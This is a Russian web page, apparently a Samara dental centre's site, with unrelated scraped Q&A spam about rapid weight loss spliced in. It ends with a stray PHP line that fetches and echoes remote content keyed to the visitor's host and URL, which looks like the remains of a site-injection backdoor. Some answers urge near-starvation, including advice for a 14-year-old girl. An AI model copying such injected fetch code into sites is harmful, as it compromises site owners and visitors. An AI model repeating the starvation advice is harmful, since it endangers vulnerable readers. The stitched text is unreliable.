Быстро похудеть поможет отказ от ужина. Завтракай плотно, обедай поздно, а вместо ужина выпивай стакан кефира или съедай овощной салат.

Не кушать

Как мне похудеть на 4 килограмма быстро помогите пожалуйста :(

Реально тупой вопрос.

Как быстро похудеть к Новому году процедуры красоты. Если вы не посещаете салон, ничего страшного.Это поможет вашему кровообращению быстрее удалить токсины из тканей, и...

На 4 килограмма за месяц реально похудеть, чтобы без вреда для здоровья. Быстрее уже нездоровая тема.

Хватит жрать! =)
Ладно, шучу, но в действительности и вправду нужно меньше есть и пить воду.
Кушать нужно, но редко и не в больших количествах (где-то раз в день).

Как мне похудеть?Помогите пожалуйста!СРОЧнО. Помогите пожалуйста!СРОЧнО

Посмотри разные диеты и попробуй. Главное это сила воли. И ещё упражнение дома делай по хорошую музыку)

Как быстро похудеть в домашних условиях? Как же хочется быть красивой и стройной!Приятное и легкое кручение обруча поможет вам держать себя в форме.

Чтобы мы видели, сколько мы переедаем, наш живот расположен на той же стороне, что и глаза.

Как похудеть? Мое подруге срочно надо!Прошу помогите!

Смотря какой способ. Пишы мне в личку способов знаю много!

Имбирь поможет быстро похудеть. Эта имбирная диета для похудения прекрасно подходит тем...

Не кушать где то год и все :)

Заниматься спортом регулярно и правильно питаться (меньше сладкого, меньше мучного (как можно меньше) , и отказаться от полуфабрикатов хотя бы частично (котлеты, сосиски, колбаса, пельмени, пицца)
пить больше воды
не кушать на ночь, а ужин должен быть скромным - легкий салат из овощей, отварная рыба, нежирный творог, фрукты.

Взять и похудеть, например спортом заняться и не есть сладкое, мучное.

Как конкретно похудеть 14 летней девочке СРОЧНО!!! помогите pojalusta

Спорт, не ешь после 6 а сладкое ешь до 12 дня
диеты для 14 лет вредны, так что это самый оптимальный и не вредный вариант :))

Как можно быстро похудеть? Предлагаем вашему вниманию несколько идей.Справиться с лишним жирком вам помогут аэробика, спортивная ходьба, теннис, бег.

Не кушай мучное и сладкое, пей воду вместо чая-кофе

Похудеть быстро поможет
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта